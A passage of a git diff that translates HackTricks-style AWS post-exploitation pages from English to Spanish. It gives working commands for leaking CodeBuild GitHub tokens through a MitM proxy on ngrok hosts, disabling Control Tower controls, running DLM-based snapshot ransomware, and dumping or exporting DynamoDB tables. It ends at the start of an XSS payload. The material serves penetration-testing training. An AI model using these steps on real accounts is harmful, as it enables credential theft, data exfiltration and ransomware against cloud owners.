```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+Un atacante podría eliminar las credenciales de origen para un repositorio de Git, afectando el funcionamiento normal de las aplicaciones que dependen del repositorio.
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**Impacto Potencial**: Disrupción del funcionamiento normal de las aplicaciones que dependen del repositorio afectado debido a la eliminación de credenciales de origen.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..67a0accd4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Recuperar Tokens Configurados de Github/Bitbucket
+Primero, verifica si hay credenciales de origen configuradas que podrías filtrar:
```bash
aws codebuild list-source-credentials
```
-
### Via Docker Image
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+Si encuentras que la autenticación, por ejemplo, a Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**.
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+La imagen de Docker que podrías usar es [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen de Docker muy básica que establecerá las **variables de entorno `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el CERT SSL indicado en **`SSL_CERT_FILE`**.
-1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+1. **Crea y sube tu propia imagen de Docker MitM**
+- Sigue las instrucciones del repositorio para establecer tu dirección IP de proxy y configurar tu certificado SSL y **construir la imagen de docker**.
+- **NO CONFIGURES `http_proxy`** para no interceptar solicitudes al endpoint de metadatos.
+- Podrías usar **`ngrok`** como `ngrok tcp 4444` para establecer el proxy en tu host.
+- Una vez que tengas la imagen de Docker construida, **cárgala en un repositorio público** (Dockerhub, ECR...)
+2. **Configura el entorno**
+- Crea un **nuevo proyecto de Codebuild** o **modifica** el entorno de uno existente.
+- Configura el proyecto para usar la **imagen de Docker generada previamente**.
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **Configura el proxy MitM en tu host**
+- Como se indica en el **repositorio de Github**, podrías usar algo como:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> La **versión de mitmproxy utilizada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar.
-4. **Run the build & capture the credentials**
+4. **Ejecutar la construcción y capturar las credenciales**
-- You can see the token in the **Authorization** header:
+- Puedes ver el token en el encabezado de **Authorization**:
-
-
-This could also be done from the aws cli with something like
+
+Esto también se podría hacer desde la aws cli con algo como
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
+Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma.
- First you need to enumerate the current configuration with something like:
-
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- Luego, con la información recopilada, puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de cómo actualicé un proyecto, nota el **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada).
+- Además, agrega también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok como:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables del proxy (http_proxy y https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Finalmente, haz clic en **Construir el proyecto**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
-### ~~Via HTTP protocol~~
+### ~~A través del protocolo HTTP~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante no puede abusar de ella más :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token OAuth temporal utilizado para acceder al código**.
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Luego, cambia la URL del repositorio de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions`
+- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto señalado por las variables de proxy (http_proxy y https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- A continuación, haz clic en **Build the project** o inicia la construcción desde la línea de comandos:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que usando el servicio CodeBuild directamente.
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..9c452bc7e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,17 +8,11 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### Habilitar / Deshabilitar Controles
+Para explotar aún más una cuenta, es posible que necesite deshabilitar/habilitar los controles de Control Tower:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..8a15cd594 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -1,99 +1,91 @@
-# AWS - DLM Post Exploitation
+# AWS - DLM Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
-## Data Lifecycle Manger (DLM)
+## Administrador del Ciclo de Vida de Datos (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de encriptación, el estado de adjunto y el tipo de volumen.
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+Un template para el documento de política se puede ver aquí:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..5be7828e0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - DynamoDB Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## DynamoDB
-For more information check:
+Para más información, consulta:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto consultando los metadatos de la tabla (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**Similar a los permisos anteriores** este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+Con este permiso también es posible utilizar el método **`transact-get-items`** de la siguiente manera:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**Similar a los permisos anteriores**, este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subconjunto de comparaciones](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no se puede usar una comparación para obtener toda la base de datos en una solicitud.
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+Puedes usar este permiso para **volcar toda la tabla fácilmente**.
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+Puedes usar este permiso para **volcar toda la tabla fácilmente**.
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+Esta permiso también permite realizar `batch-execute-statement` como:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+pero necesitas especificar la clave primaria con un valor, así que no es tan útil.
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+Este permiso permitirá a un atacante **exportar toda la tabla a un bucket S3** de su elección:
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+Nota que para que esto funcione, la tabla debe tener la recuperación en el tiempo habilitada, puedes verificar si la tabla la tiene con:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **ya no podría estar en la tabla de producción**.
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**Impacto Potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+Este permiso permite a los usuarios **agregar un nuevo elemento a la tabla o reemplazar un elemento existente** con un nuevo elemento. Si ya existe un elemento con la misma clave primaria, **todo el elemento será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada.
{{#tabs }}
-{{#tab name="XSS Example" }}
-
+{{#tab name="Ejemplo de XSS" }}
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": "